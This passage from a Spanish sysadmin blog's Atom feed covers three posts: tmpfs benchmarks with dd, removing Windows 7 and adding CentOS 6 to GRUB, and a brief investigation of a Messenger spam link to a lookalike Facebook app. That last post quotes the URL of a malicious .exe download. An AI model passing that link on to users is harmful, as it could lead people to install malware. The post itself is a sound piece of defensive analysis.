entrada&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de salida&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;805306368 bytes (805 MB) copiados, 0,873211 s, &lt;/span&gt;&lt;i style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;922&lt;/b&gt;&lt;/i&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt; MB/s&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con respecto a la lectura en disco... Obtuve una velocidad muy similar a la de escritura, lo cual NO es muy común en este tipo de dispositivos. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;/span&gt;&lt;b style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;i&gt;dd if=prueba of=/dev/null bs=1M&lt;/i&gt;&lt;/b&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de entrada&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;768+0 registros de salida&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;805306368 bytes (805 MB) copiados, 13,5713 s, &lt;/span&gt;&lt;b style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;i&gt;59,3&lt;/i&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt; MB/s&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por lo general los discos rígidos leen a mayor velocidad de la que  escriben, por lo tanto podríamos suponer que la velocidad de escritura  obtenida anteriormente es producto de algún manejo eficiente de cache o  una suerte de inteligencia en la escritura de datos repetidos (solamente  ceros, obtenidos de /dev/zero).&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Qué pasa si...?:&lt;/b&gt;&lt;/i&gt; &lt;br /&gt;&lt;br /&gt;&lt;i&gt;Intentamos escribir mas bytes de los que tiene asignado nuestro directorio en tmpfs:&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;dd if=/dev/zero of=prueba_tmpfs/prueba bs=1M count=1024&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;i&gt;&lt;b&gt;&lt;span style="color: red; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;dd: escribiendo «prueba_tmpfs/prueba»: No hay espacio libre en el dispositivo&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;1022+0 registros de entrada&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;1021+0 registros de salida&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;1071640576 bytes (1,1 GB) copiados, 2,47776 s, 433 MB/s&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~#&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Como era de esperarse no pudimos escribir mas de lo que definimos como tamaño del tmpfs :D. &lt;br /&gt;&lt;br /&gt;&lt;i&gt;Creamos un tmpfs mayor que nuestra RAM (mi laptop tiene 2Gbytes de RAM):&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Es absolutamente posible hacerlo, PERO...&lt;b&gt;&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;i&gt;&lt;b&gt;mount -t tmpfs -o size=3G tmpfs prueba_tmpfs&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;i&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;root@moon:~# &lt;b&gt;&lt;i&gt;mount | grep prueba_tmpfs&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;" /&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;tmpfs on /root/prueba_tmpfs type tmpfs (rw,size=&lt;i style="color: red;"&gt;&lt;b&gt;3G&lt;/b&gt;&lt;/i&gt;)&lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;a medida que comencemos a ocupar el espacio del tmpfs, nos comeremos (si, casi literalmente) la memoria ram del equipo, este comenzará a intercambiar páginas con poco uso a la memoria de intercambio (swap) y eventualmente el sistema podría quedar inutilizable. Moraleja? no es recomendable hacerlo (cosas que pasan xD).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;Conclusión:&lt;/i&gt;&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Definitivamente es una opción muy interesante principalmente para utilizar como directorio para caches.&lt;br /&gt;&lt;br /&gt;En mi caso en particular utilicé tmpfs para el directorio donde munin crea/actualiza los archivos rrd, en un servidor que monitorea mas de 100 servidores, y el cambio fue notable. Antes de esto los gráficos se cortaban porque el proceso de graficar no terminaba antes de que llegaran las nuevas mediciones.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-7589018074943901539?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/7589018074943901539/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2011/08/usando-tmpfs.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7589018074943901539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/7589018074943901539'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2011/08/usando-tmpfs.html' title='Usando tmpfs'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-2514334275203125037</id><published>2011-08-25T07:40:00.000-03:00</published><updated>2011-08-25T07:40:17.142-03:00</updated><title type='text'>Como quitar Windows 7, instalar CentOS 6 desde un pendrive y todo esto sin que se muera Ubuntu 9.10 oO</title><content type='html'>&lt;br /&gt;Windows en las particiones sda3 y sda4, CRAP!!! ¿sda2 es booteable? qué pasa si la borro?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;root@moon:/home/juan# fdisk -lu /dev/sda&lt;br /&gt;&lt;br /&gt;Disco /dev/sda: 250.1 GB, 250059350016 bytes&lt;br /&gt;255 cabezas, 63 sectores/pista, 30401 cilindros, 488397168 sectores en total&lt;br /&gt;Unidades = sectores de 1 * 512 = 512 bytes&lt;br /&gt;Identificador de disco: 0xbab21f87&lt;br /&gt;&lt;br /&gt;Dispositivo Inicio&amp;nbsp;&amp;nbsp;&amp;nbsp; Comienzo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Fin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Bloques&amp;nbsp; Id&amp;nbsp; Sistema&lt;br /&gt;/dev/sda1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 63&amp;nbsp;&amp;nbsp; 454623434&amp;nbsp;&amp;nbsp; 227311686&amp;nbsp;&amp;nbsp; 83&amp;nbsp; Linux&lt;br /&gt;/dev/sda2&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp; 454625280&amp;nbsp;&amp;nbsp; 454830079&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 102400&amp;nbsp;&amp;nbsp;&amp;nbsp; 7&amp;nbsp; HPFS/NTFS&lt;br /&gt;/dev/sda3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 454830080&amp;nbsp;&amp;nbsp; 476534783&amp;nbsp;&amp;nbsp;&amp;nbsp; 10852352&amp;nbsp;&amp;nbsp;&amp;nbsp; 7&amp;nbsp; HPFS/NTFS&lt;br /&gt;/dev/sda4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 476536095&amp;nbsp;&amp;nbsp; 488392064&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5927985&amp;nbsp;&amp;nbsp;&amp;nbsp; 5&amp;nbsp; Extendida&lt;br /&gt;/dev/sda5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 476536158&amp;nbsp;&amp;nbsp; 488392064&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5927953+&amp;nbsp; 82&amp;nbsp; Linux swap / Solaris&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Para ver en qué consiste mi grub actualmente ejecuté&lt;br /&gt;&lt;br /&gt;&lt;i&gt;root@moon:/home/juan# grub-mkconfig -o grub.conf.bak&lt;br /&gt;Generating grub.cfg ...&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-22-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-22-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-21-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-21-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-20-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-20-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-19-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-19-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-17-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-17-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-16-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-16-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-15-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-15-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-14-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-14-generic&lt;br /&gt;Found memtest86+ image: /boot/memtest86+.bin&lt;br /&gt;Found Windows 7 (loader) on /dev/sda2&lt;br /&gt;done&lt;/i&gt;&lt;br /&gt;De esta manera me hice con una copia de la configuración actual, por si las moscas!!!&lt;br /&gt;mmmm... viendo un poco la configuración actual de grub encontré la parte donde se define el arranque del win7&lt;br /&gt;&lt;br /&gt;&lt;i&gt;menuentry "Windows 7 (loader) (on /dev/sda2)" {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; insmod ntfs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; set root=(hd0,2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; search --no-floppy --fs-uuid --set 2860188560185c3e&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; chainloader +1&lt;br /&gt;}&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Entonces decidí actuar! :P&lt;br /&gt;Eliminé ambas particiones de windows!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;root@moon:/etc/grub.d# fdisk -lu /dev/sda&lt;br /&gt;&lt;br /&gt;Disco /dev/sda: 250.1 GB, 250059350016 bytes&lt;br /&gt;255 cabezas, 63 sectores/pista, 30401 cilindros, 488397168 sectores en total&lt;br /&gt;Unidades = sectores de 1 * 512 = 512 bytes&lt;br /&gt;Identificador de disco: 0xbab21f87&lt;br /&gt;&lt;br /&gt;Dispositivo Inicio&amp;nbsp;&amp;nbsp;&amp;nbsp; Comienzo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Fin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Bloques&amp;nbsp; Id&amp;nbsp; Sistema&lt;br /&gt;/dev/sda1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 63&amp;nbsp;&amp;nbsp; 454623434&amp;nbsp;&amp;nbsp; 227311686&amp;nbsp;&amp;nbsp; 83&amp;nbsp; Linux&lt;br /&gt;/dev/sda4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 476536095&amp;nbsp;&amp;nbsp; 488392064&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5927985&amp;nbsp;&amp;nbsp;&amp;nbsp; 5&amp;nbsp; Extendida&lt;br /&gt;/dev/sda5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 476536158&amp;nbsp;&amp;nbsp; 488392064&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5927953+&amp;nbsp; 82&amp;nbsp; Linux swap / Solaris&lt;br /&gt;&lt;/i&gt;Por lo tanto me quedó un gran vacío xD, unos 11Gb perdidos entre sda1 y sda4, ese vacío debería ser llenado por CentOS :D.&lt;br /&gt;Volví a lanzar grub-mkconfig -o grub.conf.bak.2, y esta vez ya no aparecieron las líneas del arranque de windows 7 :D.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;root@moon:/etc/grub.d# grub-mkconfig -o grub.conf.bak.2&lt;br /&gt;Generating grub.cfg ...&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-22-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-22-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-21-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-21-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-20-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-20-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-19-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-19-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-17-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-17-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-16-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-16-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-15-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-15-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-14-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-14-generic&lt;br /&gt;Found memtest86+ image: /boot/memtest86+.bin&lt;br /&gt;done&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Por último una actualizada del grub para que los cambios se reflejen en el archivo de configuración real:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;root@moon:/etc/grub.d# update-grub&lt;br /&gt;Generating grub.cfg ...&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-22-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-22-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-21-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-21-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-20-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-20-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-19-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-19-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-17-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-17-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-16-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-16-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-15-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-15-generic&lt;br /&gt;Found linux image: /boot/vmlinuz-2.6.31-14-generic&lt;br /&gt;Found initrd image: /boot/initrd.img-2.6.31-14-generic&lt;br /&gt;Found memtest86+ image: /boot/memtest86+.bin&lt;br /&gt;done&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Y ahora le pegamos un reboot a ver qué pasa!!! (no hacer bungee jumping con los cordones!!!, por las dudas tengan un live-cd de alguna distro para arreglar grub :P, yo tengo en un pendrive un ubuntu 9.04 por si las moscas).&lt;br /&gt;&lt;br /&gt;NOTA: luego de reiniciar noté que ya no me aparecía la lista de entradas para elegir, sino que directamente me cargó la primer entrada sin decir nada. Me queda averiguar porque...&lt;br /&gt;&lt;br /&gt;Bien ahora, a preparar el pendrive desde donde bootear para instalar CentOS, claramente no pienso quemar un CD para usarlo una sola vez ajajaja. Rata? no!, económico! Lo mas complicado de todo esto fue encontrar el pendrive xD, los hacen tan pequeñosss.&lt;br /&gt;&lt;br /&gt;NOTA: Backup del pendrive!!!!&lt;br /&gt;&lt;br /&gt;Para hacer booteable nuestro pendrive con una iso de CentOS , primero descargamos la iso (wget http://centos-mirror.hostdime.com.br/centos/6.0/isos/x86_64/CentOS-6.0-x86_64-minimal.iso) :P, y luego instalamos "UNetbootin" (a buscar los paquetes gente, aptitude search unetbootin y ver :P).&lt;br /&gt;Elegimos la iso y la partición del pendrive que correspondan, aceptamos y esperamos un raaaato.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/--35EsIFoupw/TlWV7NA-ORI/AAAAAAAAAMk/W6-OhQdknHU/s1600/Pantallazo-UNetbootin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/--35EsIFoupw/TlWV7NA-ORI/AAAAAAAAAMk/W6-OhQdknHU/s1600/Pantallazo-UNetbootin.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ahora reiniciamos y vemos qué pasa!&lt;br /&gt;&lt;br /&gt;Una vez booteado del pendrive elegimos la primer opción que dice con video básico y cargará el instalador de CentOS.&lt;br /&gt;&lt;br /&gt;NOTA1: no encontraba el archivo /images/install.img, cuando aparece la opción para ingresar el path del archivo hay que poner ./images/install.img y elegir el dispositivo que corresponda al pendrive!&lt;br /&gt;&lt;br /&gt;NOTA2: también es necesario copiar la iso del CD dentro del pendrive!&lt;br /&gt;&lt;br /&gt;Durante la instalación en ningún momento hay que dejar que particione el disco ni que instale un bootloade!!!! sino no va a salir caro :P&lt;br /&gt;&lt;br /&gt;Terminada la instalación, inicié ubuntu y corrí nuevamente un grub-mkconfig pero la configuración ni se enteró de la instalación de CentOS...&lt;br /&gt;&lt;br /&gt;A meterle mano a Grub: la versión de grub que tengo ¿1.97? oO, se configura a partir de unas plantillas que se encuentran en el directorio /etc/grub.d y también el archivo /etc/default/grub.&lt;br /&gt;&lt;br /&gt;Primero modificamos /etc/default/grub para que vuelva a aparecer el menu de sistemas operativos durante el booteo de grub, esto se logra comentando la línea que dice GRUB_HIDDEN_TIMEOUT=0.&lt;br /&gt;&lt;br /&gt;Ahora agregamos las lineas necesarias para el arranque de CentOS en el archivo /etc/grub.d/40_custom (en este archivo deberiamos incluir todas las entradas que pongamos manualmente):&lt;br /&gt;&lt;br /&gt;menuentry "CentOS 6" {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; set root=(hd0,2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; linux /boot/vmlinuz-2.6.32-71.el6.x86_64 ro root=/dev/sda2 rhgb quiet&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; initrd /boot/initramfs-2.6.32-71.el6.x86_64.img&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA: estas líneas deben ser agregadas al final del archivo y sin modificar el resto de las lineas anteriores.&lt;br /&gt;&lt;br /&gt;Vemos que las lineas indican la partición de root, la imagen del kernel y el initrd.&lt;br /&gt;Ahora debemos actualizar grub para que aplique estos cambios a la configuración actual (update-grub) y vemos que la entrada fue agregada correctamente al final del archivo de configuración:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;root@moon:/home/juan# tail /boot/grub/grub.cfg &lt;br /&gt;# This file provides an easy way to add custom menu entries.&amp;nbsp; Simply type the&lt;br /&gt;# menu entries you want to add after this comment.&amp;nbsp; Be careful not to change&lt;br /&gt;# the 'exec tail' line above.&lt;br /&gt;menuentry "CentOS 6" {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; set root=(hd0,2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; linux /boot/vmlinuz-2.6.32-71.el6.x86_64 ro root=/dev/sda2 rhgb quiet&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; initrd /boot/initramfs-2.6.32-71.el6.x86_64.img&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;### END /etc/grub.d/40_custom ###&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Reiniciamos y.... :D un lujo, probado y re contra probado, levantó CentOS sin ningún inconveniente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-2514334275203125037?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/2514334275203125037/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2011/08/como-quitar-windows-7-instalar-centos-6.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2514334275203125037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2514334275203125037'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2011/08/como-quitar-windows-7-instalar-centos-6.html' title='Como quitar Windows 7, instalar CentOS 6 desde un pendrive y todo esto sin que se muera Ubuntu 9.10 oO'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/--35EsIFoupw/TlWV7NA-ORI/AAAAAAAAAMk/W6-OhQdknHU/s72-c/Pantallazo-UNetbootin.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-5208195837730318615</id><published>2011-02-09T18:49:00.002-03:00</published><updated>2011-02-10T14:33:28.323-03:00</updated><title type='text'>Bicho de messenger Nº: n+1</title><content type='html'>Estoy en pleno estudio así que esta entrada será breve y posiblemente inconclusa, pero me parece que vale la pena hacerla.&lt;br /&gt;Mientras estudiaba, un contacto de messenger me envió el siguiente mensaje:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TVMGDKJXwlI/AAAAAAAAALk/SxjhSYgnSh4/s1600/img1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="601" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TVMGDKJXwlI/AAAAAAAAALk/SxjhSYgnSh4/s640/img1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Anterior a esta hubo otros, pero que involucraban dominios que no valía la pena analizar, pero este... este dice apps.facebok.com!!!&lt;br /&gt;&lt;br /&gt;Como siempre en estas cosas hay que ser cauto, y la verdad que quería hacer clic en ese link :P. En fin, limpié las cookies de mi browser, inicié sesión en una cuenta de facebook que tengo para estas ocasiones especiales e hice clic :D.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TVMG-RsUUKI/AAAAAAAAALo/967WIM-RdLw/s1600/img2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="454" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TVMG-RsUUKI/AAAAAAAAALo/967WIM-RdLw/s640/img2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;NICE!, una vez mas salvado por "non script", en la aplicación en cuestión lograron insertar un iframe, el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TVMHi-frB2I/AAAAAAAAALs/tdAPzbT4F7E/s1600/img3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TVMHi-frB2I/AAAAAAAAALs/tdAPzbT4F7E/s640/img3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;ZOOM IN:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TVMH_IYPnTI/AAAAAAAAALw/9SuL5QyFdOs/s1600/img4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TVMH_IYPnTI/AAAAAAAAALw/9SuL5QyFdOs/s1600/img4.png" /&gt;&lt;/a&gt;&lt;/div&gt;Podemos ver claramente el dominio al que hace referencia, no me queda claro, almenos aún que está enviando mediante "?signed_request=VALOR", eso me queda por ver cuando tenga mas tiempo.&lt;br /&gt;&lt;br /&gt;Hace unos minutos la applicación directamente nos invitaba a descargar "http://christybonham.com/img/facebook-pic0009345919.exe", ahora solamente nos muestra el listado del sitio "http://christybonham.com/img/"&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TVMJuz4QTtI/AAAAAAAAAL0/rkkNR492cRU/s1600/img5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="276" 